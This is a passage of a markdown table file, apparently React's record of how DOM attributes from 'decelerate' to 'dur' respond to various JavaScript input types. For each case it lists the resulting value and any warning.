`decelerate=(empty array)`| (changed)| `<empty string>` |\n| `decelerate=(object)`| (changed)| `\"result of toString()\"` |\n| `decelerate=(numeric string)`| (changed)| `\"42\"` |\n| `decelerate=(-1)`| (changed)| `\"-1\"` |\n| `decelerate=(0)`| (changed)| `\"0\"` |\n| `decelerate=(integer)`| (changed)| `\"1\"` |\n| `decelerate=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `decelerate=(float)`| (changed)| `\"99.99\"` |\n| `decelerate=(true)`| (initial, warning)| `<null>` |\n| `decelerate=(false)`| (initial, warning)| `<null>` |\n| `decelerate=(string 'true')`| (changed)| `\"true\"` |\n| `decelerate=(string 'false')`| (changed)| `\"false\"` |\n| `decelerate=(string 'on')`| (changed)| `\"on\"` |\n| `decelerate=(string 'off')`| (changed)| `\"off\"` |\n| `decelerate=(symbol)`| (initial, warning)| `<null>` |\n| `decelerate=(function)`| (initial, warning)| `<null>` |\n| `decelerate=(null)`| (initial)| `<null>` |\n| `decelerate=(undefined)`| (initial)| `<null>` |\n\n## `default` (on `<track>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `default=(string)`| (changed)| `<boolean: true>` |\n| `default=(empty string)`| (initial)| `<boolean: false>` |\n| `default=(array with string)`| (changed)| `<boolean: true>` |\n| `default=(empty array)`| (changed)| `<boolean: true>` |\n| `default=(object)`| (changed)| `<boolean: true>` |\n| `default=(numeric string)`| (changed)| `<boolean: true>` |\n| `default=(-1)`| (changed)| `<boolean: true>` |\n| `default=(0)`| (initial)| `<boolean: false>` |\n| `default=(integer)`| (changed)| `<boolean: true>` |\n| `default=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `default=(float)`| (changed)| `<boolean: true>` |\n| `default=(true)`| (changed)| `<boolean: true>` |\n| `default=(false)`| (initial)| `<boolean: false>` |\n| `default=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `default=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `default=(string 'on')`| (changed)| `<boolean: true>` |\n| `default=(string 'off')`| (changed)| `<boolean: true>` |\n| `default=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `default=(function)`| (initial, warning)| `<boolean: false>` |\n| `default=(null)`| (initial)| `<boolean: false>` |\n| `default=(undefined)`| (initial)| `<boolean: false>` |\n\n## `defaultchecked` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `defaultchecked=(string)`| (changed, warning)| `\"a string\"` |\n| `defaultchecked=(empty string)`| (changed, warning)| `<empty string>` |\n| `defaultchecked=(array with string)`| (changed, warning)| `\"string\"` |\n| `defaultchecked=(empty array)`| (changed, warning)| `<empty string>` |\n| `defaultchecked=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `defaultchecked=(numeric string)`| (changed, warning)| `\"42\"` |\n| `defaultchecked=(-1)`| (changed, warning)| `\"-1\"` |\n| `defaultchecked=(0)`| (changed, warning)| `\"0\"` |\n| `defaultchecked=(integer)`| (changed, warning)| `\"1\"` |\n| `defaultchecked=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `defaultchecked=(float)`| (changed, warning)| `\"99.99\"` |\n| `defaultchecked=(true)`| (initial, warning)| `<null>` |\n| `defaultchecked=(false)`| (initial, warning)| `<null>` |\n| `defaultchecked=(string 'true')`| (changed, warning)| `\"true\"` |\n| `defaultchecked=(string 'false')`| (changed, warning)| `\"false\"` |\n| `defaultchecked=(string 'on')`| (changed, warning)| `\"on\"` |\n| `defaultchecked=(string 'off')`| (changed, warning)| `\"off\"` |\n| `defaultchecked=(symbol)`| (initial, warning)| `<null>` |\n| `defaultchecked=(function)`| (initial, warning)| `<null>` |\n| `defaultchecked=(null)`| (initial, warning)| `<null>` |\n| `defaultchecked=(undefined)`| (initial, warning)| `<null>` |\n\n## `defaultChecked` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `defaultChecked=(string)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(empty string)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(array with string)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(empty array)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(object)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(numeric string)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(-1)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(0)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(integer)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `defaultChecked=(float)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(true)`| (changed)| `<boolean: true>` |\n| `defaultChecked=(false)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(string 'true')`| (changed)| `<boolean: true>` |\n| `defaultChecked=(string 'false')`| (changed)| `<boolean: true>` |\n| `defaultChecked=(string 'on')`| (changed)| `<boolean: true>` |\n| `defaultChecked=(string 'off')`| (changed)| `<boolean: true>` |\n| `defaultChecked=(symbol)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(function)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(null)`| (initial)| `<boolean: false>` |\n| `defaultChecked=(undefined)`| (initial)| `<boolean: false>` |\n\n## `defaultValue` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `defaultValue=(string)`| (changed)| `\"a string\"` |\n| `defaultValue=(empty string)`| (initial)| `<empty string>` |\n| `defaultValue=(array with string)`| (changed)| `\"string\"` |\n| `defaultValue=(empty array)`| (initial)| `<empty string>` |\n| `defaultValue=(object)`| (changed)| `\"result of toString()\"` |\n| `defaultValue=(numeric string)`| (changed)| `\"42\"` |\n| `defaultValue=(-1)`| (changed)| `\"-1\"` |\n| `defaultValue=(0)`| (changed)| `\"0\"` |\n| `defaultValue=(integer)`| (changed)| `\"1\"` |\n| `defaultValue=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `defaultValue=(float)`| (changed)| `\"99.99\"` |\n| `defaultValue=(true)`| (changed)| `\"true\"` |\n| `defaultValue=(false)`| (changed)| `\"false\"` |\n| `defaultValue=(string 'true')`| (changed)| `\"true\"` |\n| `defaultValue=(string 'false')`| (changed)| `\"false\"` |\n| `defaultValue=(string 'on')`| (changed)| `\"on\"` |\n| `defaultValue=(string 'off')`| (changed)| `\"off\"` |\n| `defaultValue=(symbol)`| (initial)| `<empty string>` |\n| `defaultValue=(function)`| (initial)| `<empty string>` |\n| `defaultValue=(null)`| (initial)| `<empty string>` |\n| `defaultValue=(undefined)`| (initial)| `<empty string>` |\n\n## `defaultValuE` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `defaultValuE=(string)`| (changed, warning)| `\"a string\"` |\n| `defaultValuE=(empty string)`| (changed, warning)| `<empty string>` |\n| `defaultValuE=(array with string)`| (changed, warning)| `\"string\"` |\n| `defaultValuE=(empty array)`| (changed, warning)| `<empty string>` |\n| `defaultValuE=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `defaultValuE=(numeric string)`| (changed, warning)| `\"42\"` |\n| `defaultValuE=(-1)`| (changed, warning)| `\"-1\"` |\n| `defaultValuE=(0)`| (changed, warning)| `\"0\"` |\n| `defaultValuE=(integer)`| (changed, warning)| `\"1\"` |\n| `defaultValuE=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `defaultValuE=(float)`| (changed, warning)| `\"99.99\"` |\n| `defaultValuE=(true)`| (initial, warning)| `<null>` |\n| `defaultValuE=(false)`| (initial, warning)| `<null>` |\n| `defaultValuE=(string 'true')`| (changed, warning)| `\"true\"` |\n| `defaultValuE=(string 'false')`| (changed, warning)| `\"false\"` |\n| `defaultValuE=(string 'on')`| (changed, warning)| `\"on\"` |\n| `defaultValuE=(string 'off')`| (changed, warning)| `\"off\"` |\n| `defaultValuE=(symbol)`| (initial, warning)| `<null>` |\n| `defaultValuE=(function)`| (initial, warning)| `<null>` |\n| `defaultValuE=(null)`| (initial, warning)| `<null>` |\n| `defaultValuE=(undefined)`| (initial, warning)| `<null>` |\n\n## `defer` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `defer=(string)`| (changed)| `<boolean: true>` |\n| `defer=(empty string)`| (initial)| `<boolean: false>` |\n| `defer=(array with string)`| (changed)| `<boolean: true>` |\n| `defer=(empty array)`| (changed)| `<boolean: true>` |\n| `defer=(object)`| (changed)| `<boolean: true>` |\n| `defer=(numeric string)`| (changed)| `<boolean: true>` |\n| `defer=(-1)`| (changed)| `<boolean: true>` |\n| `defer=(0)`| (initial)| `<boolean: false>` |\n| `defer=(integer)`| (changed)| `<boolean: true>` |\n| `defer=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `defer=(float)`| (changed)| `<boolean: true>` |\n| `defer=(true)`| (changed)| `<boolean: true>` |\n| `defer=(false)`| (initial)| `<boolean: false>` |\n| `defer=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `defer=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `defer=(string 'on')`| (changed)| `<boolean: true>` |\n| `defer=(string 'off')`| (changed)| `<boolean: true>` |\n| `defer=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `defer=(function)`| (initial, warning)| `<boolean: false>` |\n| `defer=(null)`| (initial)| `<boolean: false>` |\n| `defer=(undefined)`| (initial)| `<boolean: false>` |\n\n## `descent` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `descent=(string)`| (changed)| `\"a string\"` |\n| `descent=(empty string)`| (changed)| `<empty string>` |\n| `descent=(array with string)`| (changed)| `\"string\"` |\n| `descent=(empty array)`| (changed)| `<empty string>` |\n| `descent=(object)`| (changed)| `\"result of toString()\"` |\n| `descent=(numeric string)`| (changed)| `\"42\"` |\n| `descent=(-1)`| (changed)| `\"-1\"` |\n| `descent=(0)`| (changed)| `\"0\"` |\n| `descent=(integer)`| (changed)| `\"1\"` |\n| `descent=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `descent=(float)`| (changed)| `\"99.99\"` |\n| `descent=(true)`| (initial, warning)| `<null>` |\n| `descent=(false)`| (initial, warning)| `<null>` |\n| `descent=(string 'true')`| (changed)| `\"true\"` |\n| `descent=(string 'false')`| (changed)| `\"false\"` |\n| `descent=(string 'on')`| (changed)| `\"on\"` |\n| `descent=(string 'off')`| (changed)| `\"off\"` |\n| `descent=(symbol)`| (initial, warning)| `<null>` |\n| `descent=(function)`| (initial, warning)| `<null>` |\n| `descent=(null)`| (initial)| `<null>` |\n| `descent=(undefined)`| (initial)| `<null>` |\n\n## `diffuseConstant` (on `<feDiffuseLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `diffuseConstant=(string)`| (initial)| `<number: 1>` |\n| `diffuseConstant=(empty string)`| (changed)| `<number: 0>` |\n| `diffuseConstant=(array with string)`| (initial)| `<number: 1>` |\n| `diffuseConstant=(empty array)`| (changed)| `<number: 0>` |\n| `diffuseConstant=(object)`| (initial)| `<number: 1>` |\n| `diffuseConstant=(numeric string)`| (changed)| `<number: 42>` |\n| `diffuseConstant=(-1)`| (changed)| `<number: -1>` |\n| `diffuseConstant=(0)`| (changed)| `<number: 0>` |\n| `diffuseConstant=(integer)`| (initial)| `<number: 1>` |\n| `diffuseConstant=(NaN)`| (initial, warning)| `<number: 1>` |\n| `diffuseConstant=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `diffuseConstant=(true)`| (initial, warning)| `<number: 1>` |\n| `diffuseConstant=(false)`| (initial, warning)| `<number: 1>` |\n| `diffuseConstant=(string 'true')`| (initial)| `<number: 1>` |\n| `diffuseConstant=(string 'false')`| (initial)| `<number: 1>` |\n| `diffuseConstant=(string 'on')`| (initial)| `<number: 1>` |\n| `diffuseConstant=(string 'off')`| (initial)| `<number: 1>` |\n| `diffuseConstant=(symbol)`| (initial, warning)| `<number: 1>` |\n| `diffuseConstant=(function)`| (initial, warning)| `<number: 1>` |\n| `diffuseConstant=(null)`| (initial)| `<number: 1>` |\n| `diffuseConstant=(undefined)`| (initial)| `<number: 1>` |\n\n## `dir` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dir=(string)`| (changed)| `\"rtl\"` |\n| `dir=(empty string)`| (initial)| `<empty string>` |\n| `dir=(array with string)`| (changed)| `\"rtl\"` |\n| `dir=(empty array)`| (initial)| `<empty string>` |\n| `dir=(object)`| (initial)| `<empty string>` |\n| `dir=(numeric string)`| (initial)| `<empty string>` |\n| `dir=(-1)`| (initial)| `<empty string>` |\n| `dir=(0)`| (initial)| `<empty string>` |\n| `dir=(integer)`| (initial)| `<empty string>` |\n| `dir=(NaN)`| (initial, warning)| `<empty string>` |\n| `dir=(float)`| (initial)| `<empty string>` |\n| `dir=(true)`| (initial, warning)| `<empty string>` |\n| `dir=(false)`| (initial, warning)| `<empty string>` |\n| `dir=(string 'true')`| (initial)| `<empty string>` |\n| `dir=(string 'false')`| (initial)| `<empty string>` |\n| `dir=(string 'on')`| (initial)| `<empty string>` |\n| `dir=(string 'off')`| (initial)| `<empty string>` |\n| `dir=(symbol)`| (initial, warning)| `<empty string>` |\n| `dir=(function)`| (initial, warning)| `<empty string>` |\n| `dir=(null)`| (initial)| `<empty string>` |\n| `dir=(undefined)`| (initial)| `<empty string>` |\n\n## `direction` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `direction=(string)`| (changed)| `\"rtl\"` |\n| `direction=(empty string)`| (changed)| `<empty string>` |\n| `direction=(array with string)`| (changed)| `\"rtl\"` |\n| `direction=(empty array)`| (changed)| `<empty string>` |\n| `direction=(object)`| (changed)| `\"result of toString()\"` |\n| `direction=(numeric string)`| (changed)| `\"42\"` |\n| `direction=(-1)`| (changed)| `\"-1\"` |\n| `direction=(0)`| (changed)| `\"0\"` |\n| `direction=(integer)`| (changed)| `\"1\"` |\n| `direction=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `direction=(float)`| (changed)| `\"99.99\"` |\n| `direction=(true)`| (initial, warning)| `<null>` |\n| `direction=(false)`| (initial, warning)| `<null>` |\n| `direction=(string 'true')`| (changed)| `\"true\"` |\n| `direction=(string 'false')`| (changed)| `\"false\"` |\n| `direction=(string 'on')`| (changed)| `\"on\"` |\n| `direction=(string 'off')`| (changed)| `\"off\"` |\n| `direction=(symbol)`| (initial, warning)| `<null>` |\n| `direction=(function)`| (initial, warning)| `<null>` |\n| `direction=(null)`| (initial)| `<null>` |\n| `direction=(undefined)`| (initial)| `<null>` |\n\n## `disabled` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `disabled=(string)`| (changed)| `<boolean: true>` |\n| `disabled=(empty string)`| (initial)| `<boolean: false>` |\n| `disabled=(array with string)`| (changed)| `<boolean: true>` |\n| `disabled=(empty array)`| (changed)| `<boolean: true>` |\n| `disabled=(object)`| (changed)| `<boolean: true>` |\n| `disabled=(numeric string)`| (changed)| `<boolean: true>` |\n| `disabled=(-1)`| (changed)| `<boolean: true>` |\n| `disabled=(0)`| (initial)| `<boolean: false>` |\n| `disabled=(integer)`| (changed)| `<boolean: true>` |\n| `disabled=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `disabled=(float)`| (changed)| `<boolean: true>` |\n| `disabled=(true)`| (changed)| `<boolean: true>` |\n| `disabled=(false)`| (initial)| `<boolean: false>` |\n| `disabled=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `disabled=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `disabled=(string 'on')`| (changed)| `<boolean: true>` |\n| `disabled=(string 'off')`| (changed)| `<boolean: true>` |\n| `disabled=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `disabled=(function)`| (initial, warning)| `<boolean: false>` |\n| `disabled=(null)`| (initial)| `<boolean: false>` |\n| `disabled=(undefined)`| (initial)| `<boolean: false>` |\n\n## `disablePictureInPicture` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `disablePictureInPicture=(string)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(empty string)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(array with string)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(empty array)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(object)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(numeric string)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(-1)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(0)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(integer)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(NaN)`| (initial, warning)| `<undefined>` |\n| `disablePictureInPicture=(float)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(true)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(false)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(string 'true')`| (initial, warning)| `<undefined>` |\n| `disablePictureInPicture=(string 'false')`| (initial, warning)| `<undefined>` |\n| `disablePictureInPicture=(string 'on')`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(string 'off')`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(symbol)`| (initial, warning)| `<undefined>` |\n| `disablePictureInPicture=(function)`| (initial, warning)| `<undefined>` |\n| `disablePictureInPicture=(null)`| (initial)| `<undefined>` |\n| `disablePictureInPicture=(undefined)`| (initial)| `<undefined>` |\n\n## `disableRemotePlayback` (on `<video>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `disableRemotePlayback=(string)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(empty string)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(array with string)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(empty array)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(object)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(numeric string)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(-1)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(0)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(integer)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(NaN)`| (initial, warning)| `<undefined>` |\n| `disableRemotePlayback=(float)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(true)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(false)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(string 'true')`| (initial, warning)| `<undefined>` |\n| `disableRemotePlayback=(string 'false')`| (initial, warning)| `<undefined>` |\n| `disableRemotePlayback=(string 'on')`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(string 'off')`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(symbol)`| (initial, warning)| `<undefined>` |\n| `disableRemotePlayback=(function)`| (initial, warning)| `<undefined>` |\n| `disableRemotePlayback=(null)`| (initial)| `<undefined>` |\n| `disableRemotePlayback=(undefined)`| (initial)| `<undefined>` |\n\n## `display` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `display=(string)`| (changed)| `\"list-item\"` |\n| `display=(empty string)`| (changed)| `<empty string>` |\n| `display=(array with string)`| (changed)| `\"list-item\"` |\n| `display=(empty array)`| (changed)| `<empty string>` |\n| `display=(object)`| (changed)| `\"result of toString()\"` |\n| `display=(numeric string)`| (changed)| `\"42\"` |\n| `display=(-1)`| (changed)| `\"-1\"` |\n| `display=(0)`| (changed)| `\"0\"` |\n| `display=(integer)`| (changed)| `\"1\"` |\n| `display=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `display=(float)`| (changed)| `\"99.99\"` |\n| `display=(true)`| (initial, warning)| `<null>` |\n| `display=(false)`| (initial, warning)| `<null>` |\n| `display=(string 'true')`| (changed)| `\"true\"` |\n| `display=(string 'false')`| (changed)| `\"false\"` |\n| `display=(string 'on')`| (changed)| `\"on\"` |\n| `display=(string 'off')`| (changed)| `\"off\"` |\n| `display=(symbol)`| (initial, warning)| `<null>` |\n| `display=(function)`| (initial, warning)| `<null>` |\n| `display=(null)`| (initial)| `<null>` |\n| `display=(undefined)`| (initial)| `<null>` |\n\n## `divisor` (on `<feConvolveMatrix>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `divisor=(string)`| (initial)| `<number: 1>` |\n| `divisor=(empty string)`| (changed)| `<number: 0>` |\n| `divisor=(array with string)`| (initial)| `<number: 1>` |\n| `divisor=(empty array)`| (changed)| `<number: 0>` |\n| `divisor=(object)`| (initial)| `<number: 1>` |\n| `divisor=(numeric string)`| (changed)| `<number: 42>` |\n| `divisor=(-1)`| (changed)| `<number: -1>` |\n| `divisor=(0)`| (changed)| `<number: 0>` |\n| `divisor=(integer)`| (initial)| `<number: 1>` |\n| `divisor=(NaN)`| (initial, warning)| `<number: 1>` |\n| `divisor=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `divisor=(true)`| (initial, warning)| `<number: 1>` |\n| `divisor=(false)`| (initial, warning)| `<number: 1>` |\n| `divisor=(string 'true')`| (initial)| `<number: 1>` |\n| `divisor=(string 'false')`| (initial)| `<number: 1>` |\n| `divisor=(string 'on')`| (initial)| `<number: 1>` |\n| `divisor=(string 'off')`| (initial)| `<number: 1>` |\n| `divisor=(symbol)`| (initial, warning)| `<number: 1>` |\n| `divisor=(function)`| (initial, warning)| `<number: 1>` |\n| `divisor=(null)`| (initial)| `<number: 1>` |\n| `divisor=(undefined)`| (initial)| `<number: 1>` |\n\n## `dominant-baseline` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dominant-baseline=(string)`| (changed, warning)| `\"a string\"` |\n| `dominant-baseline=(empty string)`| (changed, warning)| `<empty string>` |\n| `dominant-baseline=(array with string)`| (changed, warning)| `\"string\"` |\n| `dominant-baseline=(empty array)`| (changed, warning)| `<empty string>` |\n| `dominant-baseline=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `dominant-baseline=(numeric string)`| (changed, warning)| `\"42\"` |\n| `dominant-baseline=(-1)`| (changed, warning)| `\"-1\"` |\n| `dominant-baseline=(0)`| (changed, warning)| `\"0\"` |\n| `dominant-baseline=(integer)`| (changed, warning)| `\"1\"` |\n| `dominant-baseline=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `dominant-baseline=(float)`| (changed, warning)| `\"99.99\"` |\n| `dominant-baseline=(true)`| (initial, warning)| `<null>` |\n| `dominant-baseline=(false)`| (initial, warning)| `<null>` |\n| `dominant-baseline=(string 'true')`| (changed, warning)| `\"true\"` |\n| `dominant-baseline=(string 'false')`| (changed, warning)| `\"false\"` |\n| `dominant-baseline=(string 'on')`| (changed, warning)| `\"on\"` |\n| `dominant-baseline=(string 'off')`| (changed, warning)| `\"off\"` |\n| `dominant-baseline=(symbol)`| (initial, warning)| `<null>` |\n| `dominant-baseline=(function)`| (initial, warning)| `<null>` |\n| `dominant-baseline=(null)`| (initial, warning)| `<null>` |\n| `dominant-baseline=(undefined)`| (initial, warning)| `<null>` |\n\n## `dominantBaseline` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dominantBaseline=(string)`| (changed)| `\"a string\"` |\n| `dominantBaseline=(empty string)`| (changed)| `<empty string>` |\n| `dominantBaseline=(array with string)`| (changed)| `\"string\"` |\n| `dominantBaseline=(empty array)`| (changed)| `<empty string>` |\n| `dominantBaseline=(object)`| (changed)| `\"result of toString()\"` |\n| `dominantBaseline=(numeric string)`| (changed)| `\"42\"` |\n| `dominantBaseline=(-1)`| (changed)| `\"-1\"` |\n| `dominantBaseline=(0)`| (changed)| `\"0\"` |\n| `dominantBaseline=(integer)`| (changed)| `\"1\"` |\n| `dominantBaseline=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `dominantBaseline=(float)`| (changed)| `\"99.99\"` |\n| `dominantBaseline=(true)`| (initial, warning)| `<null>` |\n| `dominantBaseline=(false)`| (initial, warning)| `<null>` |\n| `dominantBaseline=(string 'true')`| (changed)| `\"true\"` |\n| `dominantBaseline=(string 'false')`| (changed)| `\"false\"` |\n| `dominantBaseline=(string 'on')`| (changed)| `\"on\"` |\n| `dominantBaseline=(string 'off')`| (changed)| `\"off\"` |\n| `dominantBaseline=(symbol)`| (initial, warning)| `<null>` |\n| `dominantBaseline=(function)`| (initial, warning)| `<null>` |\n| `dominantBaseline=(null)`| (initial)| `<null>` |\n| `dominantBaseline=(undefined)`| (initial)| `<null>` |\n\n## `download` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `download=(string)`| (changed)| `\"a string\"` |\n| `download=(empty string)`| (initial)| `<empty string>` |\n| `download=(array with string)`| (changed)| `\"string\"` |\n| `download=(empty array)`| (initial)| `<empty string>` |\n| `download=(object)`| (changed)| `\"result of toString()\"` |\n| `download=(numeric string)`| (changed)| `\"42\"` |\n| `download=(-1)`| (changed)| `\"-1\"` |\n| `download=(0)`| (changed)| `\"0\"` |\n| `download=(integer)`| (changed)| `\"1\"` |\n| `download=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `download=(float)`| (changed)| `\"99.99\"` |\n| `download=(true)`| (initial)| `<empty string>` |\n| `download=(false)`| (initial)| `<empty string>` |\n| `download=(string 'true')`| (changed)| `\"true\"` |\n| `download=(string 'false')`| (changed)| `\"false\"` |\n| `download=(string 'on')`| (changed)| `\"on\"` |\n| `download=(string 'off')`| (changed)| `\"off\"` |\n| `download=(symbol)`| (initial, warning)| `<empty string>` |\n| `download=(function)`| (initial, warning)| `<empty string>` |\n| `download=(null)`| (initial)| `<empty string>` |\n| `download=(undefined)`| (initial)| `<empty string>` |\n\n## `dOwNlOaD` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dOwNlOaD=(string)`| (changed, warning)| `\"a string\"` |\n| `dOwNlOaD=(empty string)`| (changed, warning)| `<empty string>` |\n| `dOwNlOaD=(array with string)`| (changed, warning)| `\"string\"` |\n| `dOwNlOaD=(empty array)`| (changed, warning)| `<empty string>` |\n| `dOwNlOaD=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `dOwNlOaD=(numeric string)`| (changed, warning)| `\"42\"` |\n| `dOwNlOaD=(-1)`| (changed, warning)| `\"-1\"` |\n| `dOwNlOaD=(0)`| (changed, warning)| `\"0\"` |\n| `dOwNlOaD=(integer)`| (changed, warning)| `\"1\"` |\n| `dOwNlOaD=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `dOwNlOaD=(float)`| (changed, warning)| `\"99.99\"` |\n| `dOwNlOaD=(true)`| (initial, warning)| `<null>` |\n| `dOwNlOaD=(false)`| (initial, warning)| `<null>` |\n| `dOwNlOaD=(string 'true')`| (changed, warning)| `\"true\"` |\n| `dOwNlOaD=(string 'false')`| (changed, warning)| `\"false\"` |\n| `dOwNlOaD=(string 'on')`| (changed, warning)| `\"on\"` |\n| `dOwNlOaD=(string 'off')`| (changed, warning)| `\"off\"` |\n| `dOwNlOaD=(symbol)`| (initial, warning)| `<null>` |\n| `dOwNlOaD=(function)`| (initial, warning)| `<null>` |\n| `dOwNlOaD=(null)`| (initial, warning)| `<null>` |\n| `dOwNlOaD=(undefined)`| (initial, warning)| `<null>` |\n\n## `draggable` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `draggable=(string)`| (initial)| `<boolean: false>` |\n| `draggable=(empty string)`| (initial)| `<boolean: false>` |\n| `draggable=(array with string)`| (initial)| `<boolean: false>` |\n| `draggable=(empty array)`| (initial)| `<boolean: false>` |\n| `draggable=(object)`| (initial)| `<boolean: false>` |\n| `draggable=(numeric string)`| (initial)| `<boolean: false>` |\n| `draggable=(-1)`| (initial)| `<boolean: false>` |\n| `draggable=(0)`| (initial)| `<boolean: false>` |\n| `draggable=(integer)`| (initial)| `<boolean: false>` |\n| `draggable=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `draggable=(float)`| (initial)| `<boolean: false>` |\n| `draggable=(true)`| (changed)| `<boolean: true>` |\n| `draggable=(false)`| (initial)| `<boolean: false>` |\n| `draggable=(string 'true')`| (changed)| `<boolean: true>` |\n| `draggable=(string 'false')`| (initial)| `<boolean: false>` |\n| `draggable=(string 'on')`| (initial)| `<boolean: false>` |\n| `draggable=(string 'off')`| (initial)| `<boolean: false>` |\n| `draggable=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `draggable=(function)`| (initial, warning)| `<boolean: false>` |\n| `draggable=(null)`| (initial)| `<boolean: false>` |\n| `draggable=(undefined)`| (initial)| `<boolean: false>` |\n\n## `dur` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `dur=(string)`| (changed)| `\"a string\"` |\n| `dur=(empty string)`| (changed)| `<empty string>` |\n| `dur=(array with string)`| (changed)| `\"string\"` |\n| `dur=(empty array)`| (changed)| `<empty string>` |\n| `dur=(object)`| (changed)| `\"result of toString()\"` |\n| `dur=(numeric string)`| (changed)| `\"42\"` |\n| `dur=(-1)`| (changed)| `\"-1\"` |\n| `dur=(0)`| (changed)| `\"0\"` |\n| `dur=(integer)`| (changed)| `\"1\"` |\n| `dur=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `dur=(float)`| (changed)| `\"99.99\"` |\n| `dur=(true)`| (initial, warning)| `<null>` |\n| `dur=(false)`| (initial, warning)| `<null>` |\n| `dur=(string 'true')`| (changed)| `\"true\"` |\n| `dur=(string 'false')`| (changed)| `\"false\"` |\n| `dur=(string 'on')`| (changed)| `\"on\"` |\n| `dur=(string 'off')`| (changed)| `\"off\"` 